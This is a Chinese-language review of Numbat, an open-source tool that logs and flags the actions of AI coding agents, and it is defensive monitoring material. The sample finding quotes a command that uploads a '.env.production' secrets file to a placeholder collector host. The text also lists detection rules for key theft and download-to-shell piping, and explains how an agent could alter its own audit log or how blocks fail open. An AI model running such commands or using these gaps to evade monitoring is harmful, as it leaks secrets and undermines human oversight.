Numbat 監看 AI agent 到底做了什麼

Numbat 是什麼

Numbat 可讓你掌握 AI agent 在你擁有的機器上執行的操作。它會讀取 coding agent 已產生的 hook callback 與工作階段檔案，將其正規化為單一事件格式，再依規則比對事件。這些規則會針對讀取 SSH 私密金鑰，或直接將下載內容透過 pipe 傳入 shell 等行為觸發。Perplexity 以 Apache 2.0 授權條款將 Numbat 開放原始碼，並於 29 July 2026 發布第一個標記版本。

以下內容皆來自該專案的 repository 與官方文件，閱讀日期為 2 August 2026。文中提及 Perplexity 的主張時，會明確標示這是 Perplexity 的說法。這不是安裝教學，因為該 repository 建立至今只有幾天，其中的 commands 可能會變更。

問題：沒有人記錄 agent 做了什麼

VPS 上的 coding agent 會以你交給它的使用者身分執行 shell 命令、讀取檔案、寫入檔案及建立網路連線。Shell 歷程不會記錄這些操作，因為 agent 並不是在你的 shell 中輸入命令。sshd 只會記錄你的登入行為，不會記錄模型之後決定執行的操作。除非有程序存取 sudo，否則 /var/log/auth.log 不會留下紀錄。Agent 會自行保存工作階段記錄，但該檔案位於 agent 的工作階段目錄中，格式會隨版本更新而變更，而且 agent 自身的程序也能寫入該檔案。

因此，當有人問 agent 上週二是否讀取過 .env.production 時，大多數伺服器能給出的誠實答案是：無法確認。這個缺口就是本專案存在的原因。

Perplexity 聲稱 Numbat 的功能

README 開頭將此工具描述為「提供 AI agent 活動的端點可見性，具備本機偵測、可選的動作前阻擋，以及鑑識重建功能」。這裡的端點是指 agent 執行所在的機器，而不是從外部監看的網路設備。這些是不同的功能，重要性也各不相同。

偵測在裝置本機執行。規則使用 CEL（common expression language）撰寫，並在本機評估；此外還支援多步驟序列規則，以及以 YAML 撰寫自訂規則。規則觸發時，不需要將任何資料傳出該機器。

阻擋功能是選用的，範圍也很有限。它只能透過同步的動作前 hooks 運作，而且只適用於提供這類 hooks 的 agent。啟用前，這項功能預設為關閉。

重建則是在事後進行。numbat scan 會解析 agent 已寫入磁碟的工作階段成品，因此你可以檢視安裝工具之前的活動。該專案也明確限定這項功能的範圍：「靜態資料重建不是磁碟或記憶體擷取，也無法復原 agent 未持久化保存的活動。」

輸出採用具版本控管的 NDJSON（以換行分隔的 JSON），涵蓋事件、發現項目、執行決策、指標與掃描摘要。截至 v0.1.2，結構描述版本為 0.2.0。記錄會輸出至 stdout 或本機檔案，也可選擇透過 HTTP 傳送至你自行執行的 collector。該工具以未使用 cgo 的靜態 Go binary 形式發布，支援 amd64 和 arm64 架構的 macOS、Linux 及 Windows。因此，在 Linux VPS 上使用時，只需放置單一檔案，不必先安裝 runtime。

Numbat 實際上能看見哪些 agent？

docs/agent-coverage.md 中的涵蓋矩陣是權威清單，但支援範圍並不一致。專案文件明確說明了這一點，沒有加以掩飾。Claude Code、Codex、Gemini CLI、Cursor 和 GitHub Copilot CLI 都支援 artifact 掃描，以及搭配 pre-action hook 的即時擷取。OpenClaw 則從版本 2026.7.1 起提供原生 plugin。另有許多項目標記為 deferred，表示已存在即時 hook 路徑，但尚未提供 artifact parser；這通常是因為該 agent 將歷史記錄儲存在 SQLite 中，並使用 agent 執行期間不適合讀取的 write-ahead log。2026 年 8 月 2 日讀取矩陣時，OpenCode 和 Cline 都屬於此類。

在根據這項工具規劃任何工作前，請先查看你的 agent 所在的列，因為幾乎每一列對「支援」的定義都不同。

偵測結果的樣貌

規則會帶有識別碼，說明規則的用途。secrets.read_private_key涵蓋 SSH key、AWS credentials、kube config 或套件登錄檔登入資訊。當curl或wget的輸出透過管線傳送至直譯器時，exec.download_pipe_shell就會觸發。privilege.elevated_shell會偵測透過sudo、doas、su或pkexec要求互動式 root shell 的情況。impact.cryptomining_launch會比對已知的 miner binary 與 image name。

序列規則會在單一工作階段內串接事件。chain.secret_read_then_egress要求先讀取 secret file，接著執行會將資料傳出的命令。README 提供了以下 finding；該 finding 來自對 2 個 Claude Code pre-action callback 的受控重播，不是來自實際事件。此處僅保留重要欄位：

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

請注意記錄中包含"confidence": "medium"，也請注意此專案對整類輸出的說明：「Findings are rule matches, not proof of compromise.」讀取 key 後上傳 build artifact 的 deploy script，也會符合相同的序列規則。比對結果正確，但警報是誤報；這正是所有偵測工具通常都會出現的情況。

預設不會阻擋，而且會採 fail-open

Numbat 發布的每項規則都只會監控。要將規則改為阻擋規則，需要明確執行以下工作：將規則的完整 YAML 複製到自有目錄、保留相同的 id、加入 enforce: true、遞增版本，然後驗證並安裝該政策。

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

接著要判斷你應該對它抱持多少信任。Numbat 的 deny 是回傳給 agent 的回應，而實際拒絕工具呼叫的是 agent。針對 Numbat 本身發生問題時的行為，執行強制指南有明確說明：「格式錯誤的 payload、相關評估錯誤、panic 及輸出失敗，都會抑制 numbat deny。」Hook 輸入上限為 4 MiB，超過大小限制的輸入也會經過相同流程。

該指南也明確說明成功送出的 deny 有何限制：「Fail-open 表示 numbat 不會送出 deny 回應。這不保證工具會執行：主機仍可能提示、拒絕、逾時，或套用其他 hook 或政策。」

因此，這裡的強制執行是防護措施，不是安全邊界。如果程序崩潰，Numbat 不會阻擋該動作，因為每逢異常就讓 agent 停止運作的監控工具，通常一週內就會被移除。這項取捨是合理的。但不要建立一套假設 deny 一定會送達的安全模型。

Numbat 與現有作法的定位

Numbat 在端點上執行，位於 agent 自己的 process tree 中，預設會寫入 ~/.numbat/records.ndjson。以你的使用者身分執行的 agent 可以讀取該檔案，也可以修改它。audit trail 的價值完全取決於周圍的隔離措施，因此你現有的每項控制都應置於這項機制之前，而不是之後。

為 coding agent 提供一次性 VM 可限制不良執行能夠觸及的範圍。在 VPS 上使用 least privilege 使用者 可避免 agent 開啟不應存取的檔案。不要讓 agent 的 context 包含認證資料，才能讓 secrets.read_private_key match 足夠少見，觸發時才值得查看。你為 Claude Code 在 VPS 上設定的 sandbox 仍然負責 containment。Containment 可限制不良執行能夠接觸的內容，而記錄程式碼採用該結構的原因則可降低 agent 做出意外行為、導致你必須查閱 log 的頻率。

Numbat 增加的是記錄，因此應將記錄傳送到 agent 無法觸及的位置。numbat ship 與 HTTP sink 就是為此存在。將 stream 複製到第二台機器，便能讓它從 log file 變成 evidence。事件模型也包含 MCP (model context protocol) 欄位，因此透過你在 VPS 上架設的 MCP server發出的 tool call，會與本機 shell command 一起出現在相同的 stream 中。這很重要，因為只監看 bash 的機制看不到這條路徑。相同的盲點也涵蓋接入作為 agent 搜尋後端的 SearXNG instance；在此情況下，風險是未信任的頁面文字進入 model 的 context，而不是任何 rule 都能比對的 command。

先以唯讀模式測試

安裝固定版本。go install 需要 Go 1.26.5 或更新版本。如果不想從原始碼建置，releases page 提供包含 SHA-256 checksums 的預先建置 binary。

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents 會探索主機上已安裝的 agents。numbat scan 會解析磁碟上現有的 session artifacts，並列印 records。README 說明，這些指令「不會安裝 hooks，也不會變更 agent 設定」；numbat「絕不會執行 artifacts 中找到的 agents 或 commands，且只會向已設定的 HTTP sinks 發出 outbound requests」。掃描採唯讀模式並會遮蔽 secrets；一般 record 輸出不會包含完整的 raw transcript。

下一步是即時擷取，但這會變更 agent 設定：

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all 會將 events、findings、indicators 及適用的 enforcement decisions 寫入 ~/.numbat/records.ndjson。專案明確提出兩項注意事項。Hooks 可能必須先在 agent 內設為 trusted，才能執行；變更 --enforce 等 flags 後，也必須重新檢查這項信任設定。此外，hook status「驗證的是設定，而非執行或傳遞」，因此，狀態列顯示正常，並不代表 records 確實已傳送到任何位置。

這麼新的 repository 為何不應列為相依元件

公開發布版本為 2026 年 7 月 29 日的 v0.1.1，以及 2026 年 8 月 1 日的 v0.1.2。本文於 2026 年 8 月 2 日撰寫時，repository 已有 597 顆 stars。這麼快的增長反映的是 Perplexity 的受眾規模，不代表程式碼經得起長期使用。按下 star 代表有人儲存該頁面，之後可能回來查看。

版本號如實反映了它目前的定位。v0.1.2 的更新內容主要是修正憑證遮罩問題，以及標準化 case bundle 和 telemetry。對於一個負責安全讀取其他程式工作紀錄的工具而言，遮罩錯誤正是早期缺陷的典型形式。這類問題還會持續出現，因為輸入來自十多個 agent，而每個 agent 都會依自己的排程修改格式。

因此有兩項實務規則。凡是要保留的內容，都應固定使用 tag，絕不要使用 @latest。此外，至少在 record schema 不再變動前，應將它視為評估中的工具，而不是可依賴的控制元件。

FAQ

Numbat 會阻擋危險的 AI agent 指令嗎？

只有在您選擇啟用時才會阻擋，而且僅以盡力而為的方式處理。Numbat 隨附的每條規則預設都只會監控。若要阻擋，請將規則的 YAML 複製到您自己的目錄，保留其 id，加入 enforce: true，遞增版本，並使用 --enforce 安裝 hook。即使如此，拒絕結果仍是傳回 agent 的回應，實際拒絕呼叫的是 agent。專案文件說明其 fail-open 行為：格式錯誤的 payload、評估錯誤、panic 及輸出失敗都會抑制拒絕動作。請將它視為防護措施，不要把它當成唯一的安全邊界。

Numbat 支援哪些 AI agent？

支援範圍依 agent 而異，詳見儲存庫中的 docs/agent-coverage.md。截至 2 August 2026 查閱該頁面時，Claude Code、Codex、Gemini CLI、Cursor 及 GitHub Copilot CLI 都支援 artifact 掃描與即時擷取；OpenClaw 則從 version 2026.7.1 起提供原生 plugin。許多其他 agent 雖列有 live hook 路徑，但尚無 artifact parser，通常是因為其工作階段歷程儲存在 SQLite database 中，而 agent 執行期間讀取該 database 並不安全。請查看您所用 agent 的列，因為其中的「supported」涵蓋數種不同的支援層級。

agent 能竄改 Numbat 的記錄嗎？

可以，前提是它以相同的 user 執行。記錄預設儲存在與 agent 相同機器上的 ~/.numbat/records.ndjson，因此任何具備該路徑寫入權限的程式都能修改或刪除記錄。請使用 numbat ship 或 HTTP sink，將串流傳送到 agent 無法存取的 collector，並保留本機檔案作為便利副本。這也是此工具只能補充 isolation、不能取代 isolation 的原因。若 agent 在 disposable VM 中以 least privilege user 執行，它能存取自身 audit trail 的範圍會小得多。

Numbat 適合用於 production server 嗎？

不適合作為您所依賴的控制措施。第一個公開版本是 v0.1.1，於 29 July 2026 發布；v0.1.2 隨後於 1 August 2026 發布，因此 flags 與記錄 schema 都仍在變動。在主機上執行 numbat agents 與 numbat scan 屬於唯讀操作，風險低，也能告訴您 agent 在磁碟上留下了哪些內容。若要在重要 server 上安裝 enforcement hooks，則是另一項決策；您應固定使用特定 tag，並規劃 hook 發生異常時的處理方式。